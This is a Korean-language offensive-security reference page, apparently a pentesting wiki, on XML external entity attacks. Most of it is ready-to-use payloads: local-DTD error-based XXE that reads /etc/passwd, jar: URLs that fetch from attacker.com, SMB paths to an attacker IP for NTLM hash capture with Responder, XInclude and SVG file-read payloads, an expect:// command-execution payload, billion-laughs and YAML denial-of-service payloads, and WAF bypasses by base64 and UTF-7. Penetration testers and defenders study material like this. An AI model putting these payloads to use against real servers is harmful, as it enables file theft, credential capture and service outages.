  • ์™ธ๋ถ€ DTD์—์„œ ์›๋ž˜ ์ •์˜๋œ custom_entity XML ๋งค๊ฐœ๋ณ€์ˆ˜ ์—”ํ‹ฐํ‹ฐ์— ๋Œ€ํ•œ ์žฌ์ •์˜๊ฐ€ ๋ฐœ์ƒํ•˜์—ฌ ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ XXE ์ต์Šคํ”Œ๋กœ์ž‡์„ ์บก์Аํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด ์žฌ์ •์˜๋Š” ๊ตฌ๋ฌธ ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด /etc/passwd ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • local_dtd ์—”ํ‹ฐํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์™ธ๋ถ€ DTD๊ฐ€ ํ™œ์„ฑํ™”๋˜๊ณ  ์ƒˆ๋กœ ์ •์˜๋œ custom_entity๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด ์ผ๋ จ์˜ ์ž‘์—…์€ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์œ„ํ•ด ๋ชฉํ‘œ๋กœ ํ•˜๋Š” ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.

์‹ค์ œ ์˜ˆ: GNOME ๋ฐ์Šคํฌํƒ‘ ํ™˜๊ฒฝ์„ ์‚ฌ์šฉํ•˜๋Š” ์‹œ์Šคํ…œ์€ ์ข…์ข… ISOamso๋ผ๋Š” ์—”ํ‹ฐํ‹ฐ๋ฅผ ํฌํ•จํ•˜๋Š” DTD๋ฅผ /usr/share/yelp/dtd/docbookx.dtd์— ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

์ด ๊ธฐ์ˆ ์€ ๋‚ด๋ถ€ DTD๋ฅผ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ ๋จผ์ € ์œ ํšจํ•œ DTD๋ฅผ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ์„œ๋ฒ„๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ๋™์ผํ•œ OS / ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์„ค์น˜ํ•˜๊ณ  ๊ธฐ๋ณธ DTD๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ฑฐ๋‚˜, ์‹œ์Šคํ…œ ๋‚ด์˜ ๊ธฐ๋ณธ DTD ๋ชฉ๋ก์„ ๊ฐ€์ ธ์™€์„œ ๊ทธ ์ค‘ ์–ด๋–ค ๊ฒƒ์ด ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

๋” ๋งŽ์€ ์ •๋ณด๋Š” https://portswigger.net/web-security/xxe/blind์—์„œ ํ™•์ธํ•˜์„ธ์š”.

์‹œ์Šคํ…œ ๋‚ด DTD ์ฐพ๊ธฐ

๋‹ค์Œ์˜ ๋ฉ‹์ง„ GitHub ๋ ˆํฌ์ง€ํ† ๋ฆฌ์—์„œ ์‹œ์Šคํ…œ์— ์กด์žฌํ•  ์ˆ˜ ์žˆ๋Š” DTD์˜ ๊ฒฝ๋กœ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

dtd-finder/list at master \xc2\xb7 GoSecure/dtd-finder \xc2\xb7 GitHub

๊ฒŒ๋‹ค๊ฐ€, ํ”ผํ•ด์ž ์‹œ์Šคํ…œ์˜ Docker ์ด๋ฏธ์ง€๊ฐ€ ์žˆ๋‹ค๋ฉด, ๊ฐ™์€ ๋ ˆํฌ์ง€ํ† ๋ฆฌ์˜ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋ฏธ์ง€๋ฅผ ์Šค์บ”ํ•˜๊ณ  ์‹œ์Šคํ…œ ๋‚ด์— ์กด์žฌํ•˜๋Š” DTD์˜ ๊ฒฝ๋กœ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ๋ ค๋ฉด GitHub์˜ Readme๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Office Open XML Parsers

์ด ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๋” ๊นŠ์ด ์žˆ๋Š” ์„ค๋ช…์€ Detectify์˜ ์ด ๋†€๋ผ์šด ํฌ์ŠคํŠธ์˜ ๋‘ ๋ฒˆ์งธ ์„น์…˜์„ ํ™•์ธํ•˜์„ธ์š”.

Microsoft Office ๋ฌธ์„œ๋ฅผ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์€ ๋งŽ์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค, ์ดํ›„ ์ด ๋ฌธ์„œ์—์„œ ํŠน์ • ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์‚ฌ์šฉ์ž๊ฐ€ XLSX ํ˜•์‹์˜ ์Šคํ”„๋ ˆ๋“œ์‹œํŠธ๋ฅผ ์—…๋กœ๋“œํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŒŒ์„œ๊ฐ€ ์Šคํ”„๋ ˆ๋“œ์‹œํŠธ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ฐ˜๋“œ์‹œ ํ•˜๋‚˜ ์ด์ƒ์˜ XML ํŒŒ์ผ์„ ํŒŒ์‹ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” XXE ํŽ˜์ด๋กœ๋“œ๋ฅผ ํฌํ•จํ•˜๋Š” Microsoft Office ํŒŒ์ผ์„ ์ƒ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ ๋‹จ๊ณ„๋Š” ๋ฌธ์„œ๋ฅผ ์••์ถ• ํ•ด์ œํ•  ์ˆ˜ ์žˆ๋Š” ๋นˆ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋งŒ๋“œ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋ฌธ์„œ๊ฐ€ ์••์ถ• ํ•ด์ œ๋˜๋ฉด ./unzipped/word/document.xml์— ์œ„์น˜ํ•œ XML ํŒŒ์ผ์„ ์„ ํ˜ธํ•˜๋Š” ํ…์ŠคํŠธ ํŽธ์ง‘๊ธฐ(์˜ˆ: vim)์—์„œ ์—ด๊ณ  ํŽธ์ง‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. XML์€ ์›ํ•˜๋Š” XXE ํŽ˜์ด๋กœ๋“œ๋ฅผ ํฌํ•จํ•˜๋„๋ก ์ˆ˜์ •๋˜์–ด์•ผ ํ•˜๋ฉฐ, ์ข…์ข… HTTP ์š”์ฒญ์œผ๋กœ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

์ˆ˜์ •๋œ XML ๋ผ์ธ์€ ๋‘ ๊ฐœ์˜ ๋ฃจํŠธ XML ๊ฐ์ฒด ์‚ฌ์ด์— ์‚ฝ์ž…๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์š”์ฒญ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•  ์ˆ˜ ์žˆ๋Š” URL๋กœ URL์„ ๊ต์ฒดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ, ํŒŒ์ผ์„ ์••์ถ•ํ•˜์—ฌ ์•…์„ฑ poc.docx ํŒŒ์ผ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์ „์— ์ƒ์„ฑํ•œ โ€œunzippedโ€ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

์ด์ œ ์ƒ์„ฑ๋œ ํŒŒ์ผ์„ ์ž ์žฌ์ ์œผ๋กœ ์ทจ์•ฝํ•œ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, Burp Collaborator ๋กœ๊ทธ์— ์š”์ฒญ์ด ๋‚˜ํƒ€๋‚˜๊ธฐ๋ฅผ ๊ธฐ๋Œ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Jar: protocol

jar ํ”„๋กœํ† ์ฝœ์€ Java ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” PKZIP ์•„์นด์ด๋ธŒ(์˜ˆ: .zip, .jar ๋“ฑ) ๋‚ด์—์„œ ํŒŒ์ผ ์ ‘๊ทผ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋ฉฐ, ๋กœ์ปฌ ๋ฐ ์›๊ฒฉ ํŒŒ์ผ ๋ชจ๋‘๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Caution

PKZIP ํŒŒ์ผ ๋‚ด๋ถ€์˜ ํŒŒ์ผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€ ์‹œ์Šคํ…œ DTD ํŒŒ์ผ์„ ํ†ตํ•ด XXE๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ DTD ํŒŒ์ผ์„ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ๋ ค๋ฉด ์ด ์„น์…˜์„ ํ™•์ธํ•˜์„ธ์š”.

PKZIP ์•„์นด์ด๋ธŒ ๋‚ด์˜ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋Š” ๊ณผ์ •์€ ์—ฌ๋Ÿฌ ๋‹จ๊ณ„๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

  1. ์ง€์ •๋œ ์œ„์น˜์—์„œ zip ์•„์นด์ด๋ธŒ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•ด HTTP ์š”์ฒญ์ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค, ์˜ˆ๋ฅผ ๋“ค์–ด https://download.website.com/archive.zip.
  2. ์•„์นด์ด๋ธŒ๋ฅผ ํฌํ•จํ•˜๋Š” HTTP ์‘๋‹ต์ด ์‹œ์Šคํ…œ์— ์ž„์‹œ๋กœ ์ €์žฅ๋˜๋ฉฐ, ์ผ๋ฐ˜์ ์œผ๋กœ /tmp/...์™€ ๊ฐ™์€ ์œ„์น˜์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.
  3. ์•„์นด์ด๋ธŒ๊ฐ€ ์ถ”์ถœ๋˜์–ด ๊ทธ ๋‚ด์šฉ์„ ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค.
  4. ์•„์นด์ด๋ธŒ ๋‚ด์˜ ํŠน์ • ํŒŒ์ผ์ธ file.zip์ด ์ฝํž™๋‹ˆ๋‹ค.
  5. ์ž‘์—… ํ›„, ์ด ๊ณผ์ •์—์„œ ์ƒ์„ฑ๋œ ์ž„์‹œ ํŒŒ์ผ์€ ์‚ญ์ œ๋ฉ๋‹ˆ๋‹ค.

์ด ๊ณผ์ •์˜ ๋‘ ๋ฒˆ์งธ ๋‹จ๊ณ„์—์„œ ์ด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ค‘๋‹จํ•˜๋Š” ํฅ๋ฏธ๋กœ์šด ๊ธฐ์ˆ ์€ ์•„์นด์ด๋ธŒ ํŒŒ์ผ์„ ์ œ๊ณตํ•  ๋•Œ ์„œ๋ฒ„ ์—ฐ๊ฒฐ์„ ๋ฌดํ•œ์ • ์—ด์–ด๋‘๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ์ €์žฅ์†Œ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋„๊ตฌ๋กœ๋Š” Python ์„œ๋ฒ„(slow_http_server.py)์™€ Java ์„œ๋ฒ„(slowserver.jar)๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Caution

์ž„์‹œ ๋””๋ ‰ํ† ๋ฆฌ์— ํŒŒ์ผ์„ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์€ ๊ฒฝ๋กœ ํƒ์ƒ‰๊ณผ ๊ด€๋ จ๋œ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: ๋กœ์ปฌ ํŒŒ์ผ ํฌํ•จ, ํ…œํ”Œ๋ฆฟ ์ฃผ์ž…, XSLT RCE, ์—ญ์ง๋ ฌํ™” ๋“ฑ).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml ๊ณต๊ฒฉ

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Quadratic Blowup Attack

NTML ์–ป๊ธฐ

Windows ํ˜ธ์ŠคํŠธ์—์„œ๋Š” responder.py ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์„ค์ •ํ•˜์—ฌ ์›น ์„œ๋ฒ„ ์‚ฌ์šฉ์ž์˜ NTML ํ•ด์‹œ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Responder.py -I eth0 -v

๋‹ค์Œ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

๊ทธ๋Ÿฐ ๋‹ค์Œ hashcat์„ ์‚ฌ์šฉํ•˜์—ฌ ํ•ด์‹œ๋ฅผ ํฌ๋ž™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ˆจ๊ฒจ์ง„ XXE ํ‘œ๋ฉด

XInclude

์„œ๋ฒ„ ์ธก XML ๋ฌธ์„œ์— ํด๋ผ์ด์–ธํŠธ ๋ฐ์ดํ„ฐ๋ฅผ ํ†ตํ•ฉํ•  ๋•Œ, ๋ฐฑ์—”๋“œ SOAP ์š”์ฒญ๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ, XML ๊ตฌ์กฐ์— ๋Œ€ํ•œ ์ง์ ‘์ ์ธ ์ œ์–ด๋Š” ์ข…์ข… ์ œํ•œ๋˜์–ด DOCTYPE ์š”์†Œ๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๋ฐ ์ œํ•œ์ด ์žˆ์–ด ์ „ํ†ต์ ์ธ XXE ๊ณต๊ฒฉ์ด ์–ด๋ ค์›Œ์ง‘๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ XInclude ๊ณต๊ฒฉ์€ XML ๋ฌธ์„œ์˜ ๋ชจ๋“  ๋ฐ์ดํ„ฐ ์š”์†Œ ๋‚ด์— ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜์—ฌ ํ•ด๊ฒฐ์ฑ…์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์„œ๋ฒ„์—์„œ ์ƒ์„ฑ๋œ XML ๋ฌธ์„œ ๋‚ด์˜ ๋ฐ์ดํ„ฐ์˜ ์ผ๋ถ€๋งŒ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ์—๋„ ํšจ๊ณผ์ ์ž…๋‹ˆ๋‹ค.

XInclude ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด XInclude ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ์„ ์–ธํ•˜๊ณ  ์˜๋„๋œ ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ์˜ ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ๊ทธ๋Ÿฌํ•œ ๊ณต๊ฒฉ์„ ์–ด๋–ป๊ฒŒ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š”์ง€์— ๋Œ€ํ•œ ๊ฐ„๊ฒฐํ•œ ์˜ˆ์ž…๋‹ˆ๋‹ค:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Check https://portswigger.net/web-security/xxe for more info!

SVG - ํŒŒ์ผ ์—…๋กœ๋“œ

์‚ฌ์šฉ์ž๊ฐ€ ํŠน์ • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์—…๋กœ๋“œํ•œ ํŒŒ์ผ์€ ์„œ๋ฒ„์—์„œ ์ฒ˜๋ฆฌ๋˜๋ฉฐ, XML ๋˜๋Š” XML์„ ํฌํ•จํ•˜๋Š” ํŒŒ์ผ ํ˜•์‹์ด ์ฒ˜๋ฆฌ๋˜๋Š” ๋ฐฉ์‹์˜ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜คํ”ผ์Šค ๋ฌธ์„œ(DOCX) ๋ฐ ์ด๋ฏธ์ง€(SVG)์™€ ๊ฐ™์€ ์ผ๋ฐ˜์ ์ธ ํŒŒ์ผ ํ˜•์‹์€ XML์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฏธ์ง€๋ฅผ ์—…๋กœ๋“œํ•  ๋•Œ, ์ด๋Ÿฌํ•œ ์ด๋ฏธ์ง€๋Š” ์„œ๋ฒ„ ์ธก์—์„œ ์ฒ˜๋ฆฌ๋˜๊ฑฐ๋‚˜ ๊ฒ€์ฆ๋ฉ๋‹ˆ๋‹ค. PNG ๋˜๋Š” JPEG์™€ ๊ฐ™์€ ํ˜•์‹์„ ๊ธฐ๋Œ€ํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฒฝ์šฐ์—๋„ ์„œ๋ฒ„์˜ ์ด๋ฏธ์ง€ ์ฒ˜๋ฆฌ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” SVG ์ด๋ฏธ์ง€๋ฅผ ์ง€์›ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. XML ๊ธฐ๋ฐ˜ ํ˜•์‹์ธ SVG๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ SVG ์ด๋ฏธ์ง€๋ฅผ ์ œ์ถœํ•˜์—ฌ ์„œ๋ฒ„๋ฅผ XXE(XML External Entity) ์ทจ์•ฝ์ ์— ๋…ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” ์‹œ์Šคํ…œ ํŒŒ์ผ์„ ์ฝ์œผ๋ ค๋Š” ์•…์„ฑ SVG ์ด๋ฏธ์ง€์˜ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ PHP โ€œexpectโ€ ๋ž˜ํผ๋ฅผ ํ†ตํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

SVG ํ˜•์‹์€ ์„œ๋ฒ„ ์†Œํ”„ํŠธ์›จ์–ด์˜ XML ์ฒ˜๋ฆฌ ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜๋Š” ๊ณต๊ฒฉ์„ ์‹œ์ž‘ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ, ์ด๋Š” ๊ฐ•๋ ฅํ•œ ์ž…๋ ฅ ๊ฒ€์ฆ ๋ฐ ๋ณด์•ˆ ์กฐ์น˜์˜ ํ•„์š”์„ฑ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ https://portswigger.net/web-security/xxe๋ฅผ ํ™•์ธํ•˜์„ธ์š”!

์ฝ๊ธฐ ํŒŒ์ผ์˜ ์ฒซ ๋ฒˆ์งธ ์ค„ ๋˜๋Š” ์‹คํ–‰ ๊ฒฐ๊ณผ๋Š” ์ƒ์„ฑ๋œ ์ด๋ฏธ์ง€ ๋‚ด๋ถ€์— ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ SVG๊ฐ€ ์ƒ์„ฑํ•œ ์ด๋ฏธ์ง€์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

PDF - ํŒŒ์ผ ์—…๋กœ๋“œ

๋‹ค์Œ ๊ฒŒ์‹œ๋ฌผ์„ ์ฝ๊ณ  PDF ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜์—ฌ XXE๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”:

PDF Upload - XXE and CORS bypass

Content-Type: x-www-urlencoded์—์„œ XML๋กœ

POST ์š”์ฒญ์ด XML ํ˜•์‹์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜๋ฝํ•˜๋Š” ๊ฒฝ์šฐ, ํ•ด๋‹น ์š”์ฒญ์—์„œ XXE๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ผ๋ฐ˜ ์š”์ฒญ์ด ๋‹ค์Œ์„ ํฌํ•จํ•˜๋Š” ๊ฒฝ์šฐ:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

๊ทธ๋Ÿผ ๋‹ค์Œ ์š”์ฒญ์„ ์ œ์ถœํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ๋Š” ๋™์ผํ•ฉ๋‹ˆ๋‹ค:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: From JSON to XEE

์š”์ฒญ์„ ๋ณ€๊ฒฝํ•˜๋ ค๋ฉด โ€œContent Type Converterโ€๋ผ๋Š” Burp Extension์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ์ด ์˜ˆ์ œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

๋˜ ๋‹ค๋ฅธ ์˜ˆ์‹œ๋Š” ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

WAF & ๋ณดํ˜ธ ์šฐํšŒ

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

์ด๊ฒƒ์€ XML ์„œ๋ฒ„๊ฐ€ data:// ํ”„๋กœํ† ์ฝœ์„ ์ˆ˜์šฉํ•  ๋•Œ๋งŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

UTF-7

์—ฌ๊ธฐ์„œ [โ€œEncode Recipeโ€ of cyberchef๋ฅผ ์‚ฌ์šฉํ•˜์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28โ€™UTF-7 %2865000%29โ€™%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)์—์„œ](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28โ€™UTF-7 %2865000%29โ€™%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29์—์„œ UTF-7๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

<!xml version="1.0" encoding="UTF-7"?-->
